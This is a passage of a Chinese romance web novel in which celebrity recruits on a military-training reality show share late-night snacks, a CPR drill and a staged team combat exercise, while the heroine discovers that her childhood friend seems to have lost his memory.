詹江已上前与她并行前进,见她满头都是汗,劝道:“美人,停下来休息会儿吧,你这么跑,身子可吃不消。”
对方并没有任何要停下来的意思。
詹江已:“教官早走了,又没人监督你,快停下来去吃饭了,食堂的饭可快没了,你再不去,就得饿肚子了。”
洛澄没回应。
她满脑子重复着坚持一下,再坚持一下就结束了。
还差一圈,就差一圈了。
詹江已见劝说无果,也不再坚持。
“可真犟啊。”
詹江已瞥见站在一旁过道上的郑巧儿,她手里拿着水壶,焦灼地盯着还在跑步的洛澄。
都怪自己,当时为什么不承认,害得洛学姐因为自己被罚跑。
她满脸懊恼,愧疚地低下了头。
忽而,一只骨节分明地手朝她伸来,手掌上不偏不倚放着一颗红色包装的旺仔牛奶软糖。
郑巧儿顺着往上看,是詹江已那张漾着痞笑的脸。
她愣了愣神,詹江已扯了下唇角,“拿着。”
“……”郑巧儿有些不明觉厉。
她可从来没和眼前这家伙说过话。
对他的印象都来自训练的时候,他经常和徐教官对着干,说话经常又骚包又欠。
詹江已闲闲地重复,“拿着。”
郑巧儿有些木讷地应声,“哦好,谢谢。”
“给她的。”詹江已往操场那边打了个眼色。
郑巧儿这才看懂,刚才那声谢谢显得多余。
詹江已已经插兜走了。
郑巧儿的注意力再次回到洛澄的身上,她跑完最后几步,一个踉跄,瘫坐在了地上。
郑巧儿急忙上前,“洛学姐!”
洛澄根本听不清郑巧儿在说什么,她两眼发黑,强烈的眩晕感像是整个世界都在天旋地转,她大口呼吸着,努力调整状态,但嗓子仿佛是刀在喇,疼痛不已。
郑巧儿着急地就要扶她起来,“洛学姐,我带你去医务室!”
洛澄没有任何力气,双腿已经麻木到站不起来了。
郑巧儿急得手忙脚乱,突然想起什么,赶紧拨开糖纸,递到洛澄嘴边。
洛澄吃下后,许久,视线逐渐清晰,脑袋也没有晕得那么厉害了。
洛澄张了张嘴,想道谢,但话到嘴边却说不出口,嗓子又哑又疼。
郑巧儿看出来她的意思,道:“学姐你先别说话,喝点水。”
水壶里的水还是温的,洛澄润了润嗓子,终于舒服了些,“谢谢。”
短短两个字,用尽了她浑身力气。
“应该是我跟你说谢谢。”郑巧儿面有愧色,不敢看她,“对不起学姐,如果不是我,你就不会被罚了。”
洛澄牵住她的手,笑了笑,“这有什么的,就当减肥了。”
“学姐……”郑巧儿知道她是在安慰自己,她鼻子一酸。
她还想说些道歉的话,洛澄率先开了口,“我有点饿了,你吃饭了吗?”
郑巧儿摇摇头。
洛澄晃晃悠悠站起来,“走吧,去食堂。”
洛澄这会儿反应过来一件事,她刚才好像是吃了一颗旺仔奶糖?
“对了,你的糖是……”
洛澄顿了下,她想起林久期那天也给过她一颗。
他刚才来过?
郑巧儿解释:“那个糖是詹江已给学姐你的。”
詹江已啊。
洛澄敛了敛眸,没说话。
两人来到食堂时,只有三三两两的艺人在吃饭,他们走到窗口处,空荡荡的,什么吃的都没有。
“……”郑巧儿偷偷看了眼洛澄,她脸上没什么神情,看不出喜怒。
郑巧儿心里负罪感再次油然而生,“学姐,我……”
一声轻笑从洛澄嘴角溢出,她半开玩笑道:“来的不巧了,食堂的饭菜居然被打劫了。”
气氛一下轻松了下来。
洛澄:“还好我今天中午吃的多,这会儿肚子都还是胀的。”
嘴是硬的,身体是诚实的。
晚上十点过,洛澄躺在床上,肚子咕噜叫不停,饿的翻来覆去,根本睡不着觉。
她丧着脸,早知道中午真的就多吃一点饭了,现在也不至于饿的前胸贴后背。
洛澄平常来例假是不会疼的,她从来体会不了别人那种疼得冒冷汗,需要吃药的感觉。
但现在,剧烈的运动后没有任何能量补充,她现在不止胃疼,连小腹也一并难受起来。
实在忍不住了,洛澄套上外套,蹑手蹑脚下床,开门走出宿舍。
——我进的那间教室里面,放着所有我们被没收的东西,我的零食都在里面。
想起今早郑巧儿跟她说过的话。
洛澄去到今天上课的楼里,不远,就在宿舍楼隔壁,楼道里昏暗一片,幸好有月光照亮,洛澄才没那么胆怯。
借着微弱的光芒,她不断寻找着305教室。
许久,她停在一间教室外,左顾右盼半天,手抚上门把手,轻轻往下一按。
门居然没锁。
洛澄偷偷潜入进去,小声关上了门。
虽然已经十点过了,但还是怕被发现,她索性决定不开灯。
教室不大,像是茶水间,水壶,茶叶,应有尽有。
东西在哪?
洛澄四下观察着,在角落看见一个储物柜,她走去拉开。
果然,被没收的东西全都安好无损地摆放在里面。
她拿起自己被收走的玩偶,捏了捏它圆圆的脸蛋,“林久期。”<
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突然有些感慨自己手艺真不错,仔细一瞅,和林久期本人也还蛮像的。
防止被发现有人进来过,洛澄忍着想把它带走的冲动,又放回了原位。
零食都在最下面那一层,洛澄一拉开,哗啦一声,零零碎碎地掉在了地上。
吓的她身子一僵,心脏都提到了嗓子眼。
静默几秒,没听到周围有其他人的动静,洛澄才舒了口气。
她瞧着这大包小包的零食,满满当当的。
郑巧儿到底是带了多少零食啊。
她手指捏着薯片袋的一角,生怕发出一丁点声音,小心翼翼地放了回去。
都放好后,她在众多零食里一眼看见一盒抹茶味的奥利奥。
想都没想,收入囊中。
洛澄选了一盒巧克力味的pocky,撕开包装,像是饿了三天似的,狼吞虎咽。
饥饿的时候果然吃什么都觉得是人间美味。
洛澄坐在椅子上,心满意足地吃着饼干。
兴许是做贼心虚,洛澄此刻的听觉异常敏锐,蓦地,她隐约听到门口有轻微的脚步声。
完了完了!
洛澄慌张看着周围,脚步声愈来愈清晰。
她迅速关上储物柜的门,钻进储物柜旁边的桌子底下。
咚、咚……
洛澄清楚听到自己快要冲破胸腔的心跳声,脚步声消失了,紧接着,教室的门被打了开。
洛澄蹲在桌底下,她用力咬着牙,紧紧盯着门口的方向。
只能看到那人腰部以下的位置,他穿着作训服。
洛澄不由感觉,他这双笔直的腿仿佛比她命还长。
能有这大长腿的主人……
洛澄俯下身,歪着脑袋想看清对方的长相,试图验证自己的想法。
果真是他。
“林久期。”
洛澄从桌底爬出来。
没想到还会有其他人在这,林久期脸上一闪而过的惊讶,“洛澄?”
两人几乎异口同声:“你怎么在这?”
洛澄晃了晃手里的饼干,“来吃东西。你也是?”
林久期轻“嗯”了一声。
随后,洛澄拉开储物柜门,“都在这里。”
见林久期在各式各样的零食里翻找半天也没有选中,洛澄从塞在衣服外套里拿出偷藏的奥利奥,“你在找这个吗?”
说罢,她递给他。
林久期没接,洛澄塞在他的手里,“拿着吧,你最喜欢的抹茶味。”
林久期微微一怔,尔后,桃花眼掺着笑意,“谢谢。”
“谁在里面?”
门外传来一道男人的声音。
洛澄一惊,立马拉着林久期躲进桌子底下。
狭隘的空间里,两人面对面蹲着,连对方温热的呼吸都能清楚感受到。
洛澄眼睛一眨不眨,盯着这张近在咫尺的脸。
他皮肤细腻没有一点瑕疵,在右眼眼角有一颗浅浅的泪痣,给俊美柔和的脸上平添了几分魅惑。
视线掠过他高挺的鼻梁,往下是两片削薄的唇瓣,殷红润泽,肯定很好亲。
她身子只要微微往前,便能轻而易举地亲到。
真想尝试一下。
这变态的想法在脑海里挥之不去,洛澄脑袋一热,脸颊开始发烫。
不敢再看他,洛澄迅速埋下头,可空间太过拥挤,连带着发梢蹭过林久期胸口处的拉链,勾住几缕发丝缠绕,扯着头皮疼。
“林久期,你衣服勾着我头发了。”
林久期立即捂住她的嘴,低声道:“嘘,别说话。”
话落。
脚步声停在教室门口。
继而,那人打开门,走了进来。
12. 第12章
徐冷站在门口,一眼就能看完整个教室,巡视了一圈也没看见半点人影。
“奇怪了,刚才明明听到有动静。”
他嘀咕一句,随后退出教室,关上了门。
洛澄提到嗓子眼的心才放下,她想松口气,可自己嘴唇还被林久期捂着,他手掌有些冰凉,指尖有淡淡的白茉莉清香。
真好闻,这味道总能让人忍不住想要靠近。
从小到大,林久期身上这股味道就没变过,也不知道是从哪来的。
她曾一度找遍所有洗发水,沐浴露,洗衣液,香水等等,就是找不到同款香味。
洛澄视线上移,悄悄偷瞄他,此刻他正侧着脸,警惕盯着门口的方向。
洛澄睫翼轻颤。
时间就停在这一刻吧,慢一点,再慢一点。
如果你能一直这样留在我身边……
然。
等脚步声渐弱到彻底无音后,林久期放下手,他慢条斯理从桌底下出去,拍了拍身上的灰。
他回过头,发现洛澄一动不动,“出来吧。”
“……哦。”洛澄从恍惚中回过神来,“好。”
林久期伸出手,洛澄愣了下,手搭了上去,“谢谢。”
她迅速从桌底下爬出。
两人的手也自然而然地松开了,可就那几秒钟的触感却让洛澄从手心麻至全身,心开始不受控地乱跳。
幸好房间昏暗,不然该发现她现在脸红涨如关公了。
气氛有几分怪异,洛澄捋了捋头发,她感觉再不说点什么,林久期就要发现她的异样了,她随便扯了个话题,“你没吃晚饭吗?”
林久期嗯了下,他拆开手里那盒抹茶味奥利奥,拿出分装成两袋的其中一袋撕开,递到洛澄面前,“吃吗?”
洛澄从里取出一块,“谢谢。”
饼干被咬碎的咔嚓声回荡在教室里,两人都默契的没有讲话。
见她快吃完了,林久期又递了过来,目光不由瞥向她,她微低着头,额前的碎发随意散落,红润的唇瓣上粘着黑色的饼干屑。
林久期从衣兜里扯出张纸给她,洛澄道了声谢,她擦着嘴,纸巾上都有白茉莉的味道。
林久期的手还抬在原处,似乎是方便她拿着吃。
洛澄摆了摆手,“不用了,你吃。”
她一直都不太吃得来抹茶味的东西,不过是因为他喜欢。
生怕教官什么时候又来,两人没有在教室里逗留太久,匆匆回了各自的宿舍。
林久期推开门,是此起彼伏的呼噜声,鼻息如雷。
他走刚到自己床位前,头顶上突然传来声音。
“久期——”
“?”
林久期往上瞧,上铺睡着的詹江已依然紧闭着双眼,他翻了个身侧躺着,嘴巴还在嘟囔着,“别抢我鸡腿……”
“……”
闻言,林久期忍不住无声轻笑了下,原来在说梦话。
他没再留意,拿着洗漱用品轻手轻脚出了寝室。
几分钟后才返回来。
林久期刚脱下外套,衣服口袋里鼓鼓的,里面还装着一袋奥利奥。
——拿着吧,你最喜欢的抹茶味。
林久期凝了下眉。
她怎么知道他喜欢抹茶味?
-
“今天我们进行模拟伤员抢救……”
徐冷一边和教官杨勉示范,一边解释着每个操作步骤。
看到两位大男人嘴对嘴的场景,不少艺人忍不住唏嘘,虽然是伤员抢救的正常操作,但在有些人眼里,总觉得这个画面相当暧昧。
忍不住磕起cp。
示范完毕,徐冷:“你们谁愿意来模拟一下?”
他扫视众人,没人敢开腔。
导演组的镜头就搁旁边呢,谁也不想当这个出头鸟。
徐冷见他们一动不动,直接点名,“洛澄,林久期,你们来。”
“……”
洛澄心尖一跳,她?
她要和林久期……
不光洛澄吓了一跳,有些女艺人投来异样的目光,心里开始怪自己刚才怎么不胆大一点。
赵芮情咬咬牙,“报告!教官我想模拟!”
徐冷回:“你下一组。”
“……”
徐冷命令道:“林久期,你现在作为伤员,洛澄,你负责发现你的战友受伤,进行抢救。”
在所有人的注视下,林久期平躺在地上,而洛澄模仿着刚才徐冷所教的所有步骤——
发现伤员,查看周围情况,初步诊断……
到了最后一步,人工呼吸。
林久期就静静地躺在那,双眼闭合,他睫毛很长,在眼下投射一片阴影,五官精致,好看到宛如女娲最满意的杰作。
洛澄的呼吸开始变得急促,周围的空气仿佛都变安静了。
没什么好紧张的,只是人工呼吸,人工呼吸,对,人工呼吸而已。
洛澄咽了咽口水,而后,她捏住林久期的口鼻,她眼睛一闭,一鼓作气,头倾了下去。
周围人瞪大了眼睛。
摄影师连忙拉进镜头,对准两人的脸。
几秒钟后,洛澄赶忙从地上爬起来。
徐冷:“林久期。”
林久期还躺在原地,“到!”
徐冷:“洛澄把你救活了吗?”
林久期:“救活了。”
“起立,归队。”徐冷看向其他人,“赵芮情,许明出列。”
听到与她搭档的是另外一位男艺人,赵芮情的脸立马黑了下来。
她想要拒绝,但看到徐冷那张铁面无私的脸,心里胆怯起来,到嘴的话又吞了回去,只能硬着头皮上。
洛澄心如鹿撞,久久无法平静,眼前旁人的训练她根本看不进去,她忍不住偷瞄不远处的林久期,他脸上没有任何情绪,看上去格外平静,似乎并不在意刚才的行为。
也是,这只是正常的训练而已。
洛澄收回视线。
在这一瞬间,林久期的目光移向她。
唇瓣相碰的余温还残留着,他垂在身体两侧的手心已经被汗水浸湿,他敛了敛眸,眼底一闪而过的无措。
今天的训练很快就结束了。
对于那段人工呼吸的模拟,引得不少人在私底下讨论。
“你说今天早上的训练像话吗,那可是林老师的荧幕初吻,就这么轻而易举的给她了。”
“也不知道洛澄耍了什么手段,怎么好事都到她头上了。”
“你们看到赵芮情当时的表情没,恨不得把她大卸八块。”
“她算是惹到人咯。”
几位女艺人洗漱完,边讨论边
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往外走。
洛澄从卫生间的隔间里出来。
荧幕初吻……
她回忆起从林久期出道以来演过的所有电视剧和电影,确实,没拍过任何吻戏。
旁人的冷嘲热讽她并不在意,唇角不自觉地扬起,上午的画面在脑海里挥之不去。
那她算是赚到了。
正想着,林久期迎面走来。
洛澄笑着跟他打招呼,“晚安。”
林久期脸上有一刹那的拘谨,任然微笑道:“晚安。”
两人擦肩而过,见洛澄回了宿舍,她心情看上去似乎很好。
“久期。”詹江已突然走来,“洗脸去啊,你站在这干嘛?”
林久期:“没。”
詹江已瞅着他,“你脸怎么有点红?感冒了?”
“……”林久期愣怔一瞬,他别开眼,“有些热。”
-
经过了几天的体能训练和授课后,艺人新兵班开始进行射击训练。
詹江已担心道:“报告,这子弹不长眼,我害怕。”
徐冷:“这是训练用的空包弹,放心,打不死你。”
经历了一天的射击训练,第二天就开始检验训练成果了。
一人十发子弹。
全部结束后,徐冷开始报着每个人的成绩,“詹江已,88环。”
话落,是一声声惊叹。
徐冷继续念道:“赵芮情,47环……林久期,92环。”
“92环?!这和杨勉教官一模一样啊!”
有人惊呼。
徐冷:“洛澄,88环。”
詹江已啧啧叹道:“可以啊美人,居然和我一样。”
等全部念完后,郑巧儿纳闷道:“徐教官,怎么没有我的成绩?”
徐冷睨着她,“你?”
“你全部脱靶,0分。”
-
距离进入训练基地已经过去好一段时间了,艺人们与外界也失联到现在。
徐冷表示,看在大家这段时间都很努力的份上,这天可以给家里人打电话,每人仅限十分钟。
洛澄先给助理小玲报了平安,紧接着又给父亲洛于彬打了电话。
“爸。”
“喂,姌姌吗?你在那边怎么样啊,累不累啊?”
听到洛于彬关心的声音,洛澄心里忽然泛起了委屈,她迅速压了下去,装作无事地笑说道:“不累,可好玩了,别担心我。”
洛于彬:“那就好,出门在外一定要小心,照顾好自己,有什么事记得给爸爸打电话。”
洛澄:“好。”
洛澄聊了些家长里短,“爸,时间到了,过几天再给您打电话。”
挂了先后,洛澄把军队用的手机还给了教官。
她不由看向教室角落坐着的林久期,她想了想,走了过去。
“你不给刘妈妈打个电话吗?”
林久期一头雾水,“她是谁?”
洛澄以为自己听错了,九七怎么会问出这种话?
她解释:“希望孤儿院的院长。”
林久期神情淡淡的,看上去并没有在开玩笑,洛澄此刻脑海里冒出一个十分荒谬的想法。
“九七。”
荒谬到她自己听着都觉得假的程度。
“你该不会是失忆了吧?”
13. 第13章
林久期一言不发,强烈的不安在洛澄心里蔓延开来,“你还记得我吗?我们从初中到高中就是同班同学。”
“还有乔媛媛,她跟我们一个班的。”
她着急地想要确认某个答案,可林久期只是平静地回复一句:“不记得了。”
“……”
洛澄见他的脸上没有一丝像是在说谎的痕迹。
所以之前久期对她那种态度,他不是故意的,他只是什么都忘了。
洛澄还想继续问些什么,詹江已从背后的走来。
“美人,久期,你俩说什么悄悄话呢?”
“……”
来的真不是时候。
洛澄敛了敛眸,想说的话吞了回去,转而随口一说:“随便聊聊。”
-
夜深。
狂风似鬼魂悲鸣。
洛澄躺在床上翻来覆去睡不着觉,脑袋里全部都是今天和林久期的对话。
所以他是失忆了?
怎么会失忆?
难道是那次车祸?
但他既然失忆了,为什么还会认识赵芮情?
洛澄越来越想不通。
一直到后半夜才睡着。
-
第二天的训练,洛澄一天都没有见到林久期的影,听别人八卦才得知,林久期请假外出了。
算着日子,3月20日。
他不是失忆了吗?怎么还会记得这个日子?
晚上十点过,整个训练基地寂静无比,宿舍楼的灯也都熄了。
林久期远远地就瞧见洛澄坐在宿舍一楼的阶梯上。
“还没睡?”
洛澄站起身,她不矮,可与林久期相比,她此刻高站一个台阶,才能与他持平,他耷着眼皮,脸上显着几分疲倦。
她不语,从衣兜里拿出一颗阿尔卑斯糖递给他。
林久期那双布满血丝的眼睛愣怔地看着她,良久,才从她掌心中拿起那个糖。
他慢条斯理地撕开入口,荔枝味的。
甜得发腻。
可这分钟他却异常觉得好吃。
见他接受了,洛澄把剩下的一把糖全塞在他手里,“晚安。”
她转身跑上了楼。
隐约听见房门关闭的声音,林久期垂眼注视着手心里的糖,才轻声开口,“晚安。”
3月20日。
林久期父母祭日。
-
临近训练结束,艺人新兵团也迎来了综合演练考核,检验学习成果。
坐着山猫全地形车来到考核场所,前方不远处是一片深不见底的树林战场。
徐冷介绍着规则,“你们十六人分红蓝两队,就在你们眼前这片树林里进行作战,先击败另一方全员的队伍获胜,你们能击发的目标只有头盔上的三个感应点,头盔冒烟代表士兵阵亡。”
詹江已嘀咕:“这不就是真人吃鸡吗。”
徐冷睨了他一眼,詹江已乖乖闭上了嘴,继续听徐冷讲着。
“阵亡后原地待命,禁止扰乱考核,会有教官来接应你们,如有违规者,立即取消考核成绩。”
徐冷又交代了一些注意事项,全部说完后,所有人开始整装待发。
“杨勉带领红队,队员洛澄,林久期,郑巧儿,王鹤……”
徐冷念着分配名单,“毛诚负责蓝队,队员谢彤,詹江已,赵芮情……”
全部交代完毕后,毛诚带领蓝队坐着山猫全地形车前往另一处战场入口。
临走前,詹江已朝着洛澄抛了个媚眼,“美人儿,待会儿见。”
而红队则在原地等候指令。
十五分钟后,徐冷手里的对讲机传来毛诚的声音,“报告,蓝队全员抵达,请指示。”
徐冷朝杨勉使了个眼神,随后道:“考核开始!”
杨勉一声令下,“所有人!跟我走!”
静谧的林子里时不时能听到鸟鸣,杨勉打头阵,没走几步便瞧见一间木屋。
杨勉在空中高举拳头。
战术手势也是训练中最重要的一环,所有人见状,立刻停下步伐。
杨勉食指指向林久期和另外一名队员王鹤,随即用掌心轻敲自己的头颅顶。
两人迅速架枪,在杨勉推开木屋门的那一刻,两人一左一右,掩护杨勉潜入屋内。
木屋不大,也就三十平左右,视线能一扫而过。
确认没有敌人后,杨勉道:“都进来吧。”
木屋外戒备的一行人才纷纷进入。
房门紧闭,9人蹲在窗下,窃声讨论。
杨勉:“从现在开始,你们给我打起一百二十分的精力,现在不是演练,在你们面前就是真正的战场,真正的敌人,给我保护好你们的小命。”
“我们现在来讨论一下战术。”杨勉看向其中一人,“林久期。”
林久期:“到。”
杨勉:“你来说说我们接下来该怎么办?”
闻言,所有人的目光都聚在林久期身上,他缓缓开口,“对方整体实力比我方强,他们可能会采取速战速决的集体突击,我们可以打游击,设陷进,前期削弱他们的势力,再找准时机发动进攻。”
杨勉问:“你是怎么确认对方实力高于我们的?”
林久期:“日常训练状态和平常的考核测试。”
杨勉点了点头,看上去很满意,“很好,知己知彼方能百战不殆。”
随即,他开始进行战略部署。
“林久期和王鹤跟我一起,作为队伍前锋,负责主要输出,洛澄机动,郑巧儿你负责侦查。”
红队总共9人,女艺人就有6名,与蓝队那边的硬汉相比,确实略微吃亏。
其中一位女艺人问:“杨教官,那我们呢?”
-
“真是奇了怪了,这红队的人都躲哪去了?”詹江已边走边念叨,从考核开始到现在,他们少说也走了有二十分钟了,连个人影都没瞧见。
旁边的男艺人许明嘲弄道:“该不会是害怕了,主动退出了吧。”
他笑的过于猖狂,走在最前面的毛诚回头瞪了他一眼,“战场上低估敌人是最大的忌讳。”
许明并不上心,“毛教官,你太紧张了,对面基本都是些小娘子,怎么可能赢的过我们。”
詹江已冷嗤,“小娘子怎么了?古有木兰从军,近有红色娘子军参战,在某些时候,女性的力量并不低于男性。”①
许明:“你说的那些不过都是少部分,就红队的那几个小娘子,能有什么用?”
走在前面的其他几位男艺人听了去,忍不住笑出声,都觉得许明说的
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颇有几分道理。
詹江已翻了个白眼,“你别忘了,红队还有林久期和王鹤。”
许明听闻讥笑几声,满不在乎地耸肩,“你觉得他们俩,再加一个杨教官,能3打9?”
许明刚话落,林深处骤然响起树叶的婆娑声。
毛诚掌心向下压的同时蹲下身,其余人也随着一同蹲下。
他目不转睛盯着发出声响的方位,半晌后,一只黑鸟从里飞了出来。
众人舒了口气。
许明站起来拍了拍身上粘着的鬼针草,“毛教官,鸟而已。”
早晨的大雾还未散去,笼罩着整片树林,朦朦胧胧的,越往深处走,大雾越浓,周围变得一片迷茫。
虽是白昼,可天际阴沉,此刻昏暗到连方圆一米内的事物都很难辨清。
毛诚放慢脚步,“大家跟紧了,别掉队了。”
许明走的脚都酸了,脾气逐渐暴躁,“红队!有本事出来啊!躲躲藏藏的有什么意思!”
毛诚心惊,立即竖起食指放在嘴唇上。
许明心里毛焦火辣的,“红队!我知道你们在这,你……”
话还未说完,毛诚一把捂住他,低声警告:“许明,你再不听指挥,军法处置。”
许明点了点头,毛诚松开他,回到队伍最前方。
许明觉得毛诚多少是有点大惊小怪了,可无奈他作为教官,不得不从。
许明盯着他们的背影,“要是我当领队,早就把红队全部剿灭了,哪里需要像现在这样畏畏缩缩的。”
他嘀咕一句,跟了上去。
浓雾弥漫,模糊了视线,参天大树紧密相连,树干扭曲蜿蜒,若不细看,像道道鬼影。
“喂,你们等等我啊。”许明加快步伐,可他无论怎样也追不上前方的人。
眼前只有几道朦胧背影,若隐若现,分不清真假。
“吱呀——”
许明不知道踩了什么,发出清脆声响,他吓得缩回脚,低头一看,是根被折断的树枝,他骂骂咧咧地一脚踢开,“装神弄鬼。”
等他回过神再抬头时,已经瞧不见人影,连负责跟拍的摄影师也不见了踪影。
“真服了,一个二个的走这么快干什么。”许明边走边吐槽。
他沿着宽敞的路继续往前走,没走一会儿,便看见一间木屋坐落在树林中。
许明想都没想就跑了进去。
木屋有三层高,空间很大,光是一楼就有四五个房间,许明在一楼的房间里进进出出翻箱倒柜好一会儿。
气呼呼道:“真是鸟不拉屎的地方,连瓶水都没有。”
他说罢,往二楼走。
一上二楼,正对着楼梯口的一间房间敞开着门,里面有一木桌,上面放着好几瓶矿泉水。
清晰可见,许明眼睛都亮了,他拔腿往里跑。
许明拿起其中一瓶,拧开后大口大口喝着,好不畅快,一瓶没了一半的水,他心满意足后抬手抹掉嘴上的水渍。
桌上还放着三瓶未拆封的,这考核指不定要到什么时候,想了想,他全装进了自己的包里。
许明正准备转身离开,后脑勺突然被人用枪口抵住,他眼睛猛的睁大,一动不敢动。
只听背后传来一道清润的男音——
“举起手。”
14. 第14章
“许明呢?”
毛诚看了一圈都没瞧见许明人影。
“许明?许明刚才还在这儿啊。”
“他上厕所去了?”
“不知道啊,他该不会是掉队了吧。”
几个人喋喋不休,毛诚啧了声,走到队伍的末端,往回走,“回去找。”
赵芮情不耐道:“毛教官,我们该不会是要走回去找他吧?没必要吧,说不定他一会儿就回来了。”
毛诚皱眉道:“战友就是家人,任何时候,你都不能放弃自己的家人。”
赵芮情嘟囔着:“真是拖后腿。”
詹江已走到赵芮情旁边,扯起嘴角笑,“你要是不想走,也可以在这里等我们,不过……”
他望向四周,小声道:“这荒郊野岭的,指不定会有什么猛兽出没,到时候扒了你的皮,吸了你的血……”
“烦死了!谁说我不去了!”
也不等他把话讲完,赵芮情迅速打断,她尖锐的嗓音几乎破了音。
想象着詹江已描述的场景,后背发凉,不禁打了个寒颤。
队伍已经朝前走去了,赵芮情小跑跟上去,“等等我!”
詹江已瞥了眼紧跟在身边的赵芮情,眉梢微挑。
小样,还拿捏不了你?
-
“……”许明咽了咽口水,双手举起,“你是谁?”
不等身后的人回应,几道脚步声从一侧的楼梯传来,洛澄和王鹤从三楼走下来。
王鹤:“久期,你跟他废什么话,快毙了他。”
王鹤与许明都出自同一家娱乐公司,两人一直以来都不对付,许明整天那鼻孔朝天谁都看不起的样,王鹤早就看不惯了。
现在落在他们手里,王鹤恨不得马上淘汰他。
“不急。”
林久期接过洛澄递来的麻绳。
三下五除二地功夫就把许明绑在了木椅上。
“林久期!你赶紧给我松开!否则我不会放过你的!”
许明坐在椅子上使劲挣扎着,椅子摩擦着地面发出刺耳的咯吱声。
三人站在窗户边,全然无视掉身后鬼哭狼嚎的某人。
林久期拿着对讲机,“报告杨教官,许明已捕获。”
许明还在不死心地叫唤着:“喂!林久期!王鹤!洛澄!你们三个有没有在听我说话啊!”
王鹤揉了揉耳朵,从背包里翻出一块毛巾,直接塞进了许明的嘴里,“你要是再吵,信不信老子一枪毙了你。”
许明怒目圆睁着,发出唔唔唔的声音。
洛澄把许明包里所有有用的装备全部搜刮了出来,包括刚才他装进去的三瓶水。
树林里有不少木屋,每间木屋都有可能放着不同的补给。
而这三瓶水,正是他们在其中一个木屋里找到的。
“你们蓝队其他人呢?”
王鹤还在审问许明,他双手抱胸,俯视道:“告诉我,我可以考虑放了你。”
许明撇开头不与他对视,直接把他的话当耳旁风。
王鹤耐着性子说:“许明,识时务者为俊杰,我相信你也不想成为第一个被淘汰的人吧,毕竟这节目还要播出,挺丢脸的。”
许明唔唔两声,王鹤这才反应过来,扯出他嘴里的毛巾,“哦,忘了你嘴堵着的,现在可以说了。”
许明一脸不情愿,他活这么大,哪里受过这种侮辱,他语气非常不好,“不知道。”
王鹤:“不知道?你耍老子呢?”
许明:“走散了。”
王鹤一听,立刻架枪对准许明。
许明着急道:“别别别,我跟你说。”
待王鹤放下枪,许明接着说:“他们具体在哪我不知道,但是我们一开始的路线是往西走。”
此时,林久期手里的对讲机再次响起。
“九点钟方向发现目标。”
是郑巧儿的声音。
话落,洛澄跑上三楼,她匍匐在阳台地板上,手拿望远镜望着远处。
果不其然,蓝队的人正在往他们这个方向前进。
“洛澄。”
林久期在楼下唤道:“走。”
“喂喂喂!你们走了我怎么办啊?!”眼见三个人离开,许明慌了,“你们别走啊!”
三人迅速从木屋撤离,躲进了木屋背后不远处的灌木丛里。
林久期低声说:“按计划行事。”
王鹤比了一个OK的手势,旋即他佝偻着腰,隐匿进树林里,往其他地方而去。
而洛澄和林久期还留在原来的地方,两人视线紧盯着来木屋的唯一一条小路,对讲机再次传来声音。
郑巧儿:“目标距离木屋还剩两公里。”
林久期朝洛澄使了个眼神。
随后他站起身来,洛澄一把拉住他的胳膊,“小心点。”
林久期轻笑道:“我相信你。”
说罢,林久期往木屋的方向行动。
-
“毛教官,许明在那!”
蓝队前进到距离木屋还剩下几百米的距离时,便停下了脚步,其中一人拿着望远镜窥探着前方的情况。
毛诚接过望远镜,定睛一看。
许明被捆绑在椅子上,他背面抵着墙,面朝二楼的窗户坐着,满脸的惊恐,嘴唇一闭一合,像是一直在说些什么。
毛诚蹙着眉,他小子在和谁说话?
二楼窗户只有一小扇,根本看不清屋内的情况。
其中一人说:“毛教官怎么办?红队的人肯定在里面,肯定有埋伏!”
毛诚握紧拳,道:“邹然你和我负责营救,詹江已,秦今,你们负责掩护,其余人原地待命。”
话不宜迟,四人迅速行动。
一路上,包括进入进入木屋,周围平静的诡异。
整个木屋除了被绑的许明外,再无一人,邹然纳闷:“红队人呢?”
詹江已和秦今看守在一楼门口,听到二楼邹然的声音,也跟着疑惑起来。
毛诚路过二楼平台时,许明眼睛都亮了,唔唔地叫唤不停,似有说不尽的委屈。
毛诚做了个噤声的动作,随后他往三楼去。
三楼依旧没有异常。
恰好邹然从二楼上来想要支援,看到教官站在楼梯口,也不知道在想些什么。
毛诚皱了下眉。
奇怪,太奇怪了。
红队不淘汰许明,就只是把他绑在这里?
这里就只有蓝队的人,邹然想都没想,绕到许明的旁边伸手就开始解他身上的绳子。
“唔唔唔!”
许明越叫越大声,他动来动去,解绳子的邹然蹙着眉,“你别乱动啊兄弟,马上就给你解开。”
许明唔唔叫个不停,瞪大地双眼仿佛充满了恐惧。
直到邹然成功解开绳索,在它脱落的那一瞬间——
“嘭——”
巨大的声响响彻云霄,木屋登时乌烟瘴气。
紧接而来的就是枪支弹药的射击声。
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毛诚:“所有人戒备!”
烟雾弹爆炸的那一刻,门口的詹江已和秦今都被吓了一跳,还未等两人反应过来,子弹已经飞了过来,正中秦今头顶的感应器。
蓝色烟雾冒起,秦今阵亡。
“啧。”
詹江已迅速躲进屋内,此刻的木屋被白色浓烟笼罩,根本看不见周遭的任何情况。
他架起枪,准备向屋外反击。
可那人似乎比他更快,一颗子弹从他额头旁迅速飞过。
“……”
詹江已立即撤回身,一颗冷汗从额前流下。
幸好他反应快,刚才那颗子弹离他不过一厘米的距离。
差点被爆头。
木屋里乱成一片。
邹然瘫坐在地上,被呛得咳嗽不停。
许明扯丢盘在身上的麻绳,又扯下自己嘴里塞着的毛巾,“你他妈.的不知道先把我嘴里毛巾扯了吗?!”
听到对方的埋怨,邹然也委屈的紧,“我……咳咳……我哪知道啊!”
“许明!邹然!”
毛诚从三楼摸索着下楼,“你们没事吧?”
“毛教官,我们没事。”邹然从地上爬起来,愤愤道:“这红队真阴险啊!”
就在邹然站起来的那一秒钟,他头顶蓝烟上飘。
“……”邹然咬牙切齿道:“红队!”
毛诚一把拽着许明的胳膊往下拉,两人立即蹲下身。头顶的子弹还在肆意地飞,他们只要稍微露出一点,都随时有可能被爆头。
烟雾渐渐散去。
毛诚带着许明下至一楼与詹江已汇合。
屋外的攻击也停止了。
詹江已悄悄从窗户探头窥望,只见前方不远处的树林离穿过一道人影。
他双眼一眯,“林久期!”
随后,又是几发子弹射击而来。
林久期?!
许明眉毛竖起,拿着枪就冲了出去。
詹江已紧随其后。
“别去!”
毛诚根本来不及阻止,他刚要跑出去,子弹再次向他飞来,他只好隐匿在墙后,眼睁睁看着许明和詹江已跑远。
“该死!”
.
“林久期!你有种别躲啊!跑什么你个懦夫!”
许明边追边喊。
只见林久期身手矫健,在树林里穿梭,向他发射的子弹都被他轻而易举地躲开。
许明:“妈.的,这家伙怎么跟个兔子似的!”
另一边。
